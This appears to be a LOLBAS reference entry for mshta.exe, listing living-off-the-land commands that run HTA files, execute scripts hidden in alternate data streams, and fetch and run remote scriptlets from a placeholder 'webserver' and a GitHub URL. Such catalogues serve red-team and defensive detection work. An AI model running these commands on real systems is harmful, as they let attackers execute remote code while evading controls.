LOLBAS/OSBinaries/Mshta.md

1.1 KiB

mshta.exe

  • Functions: Execute, Read ADS
mshta.exe evilfile.hta    

mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))    

mshta.exe javascript:a=GetObject("script:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Mshta_calc.sct").Exec();close();     
    
mshta "C:\ads\file.txt:file.hta"

Acknowledgements:

  • Casey Smith - @subtee
  • Oddvar Moe - @oddvarmoe

Code sample:

Resources:

Full path:

C:\Windows\System32\mshta.exe
C:\Windows\SysWOW64\mshta.exe

Notes: SCT code borrowed from Red Canary - Atomic Red Team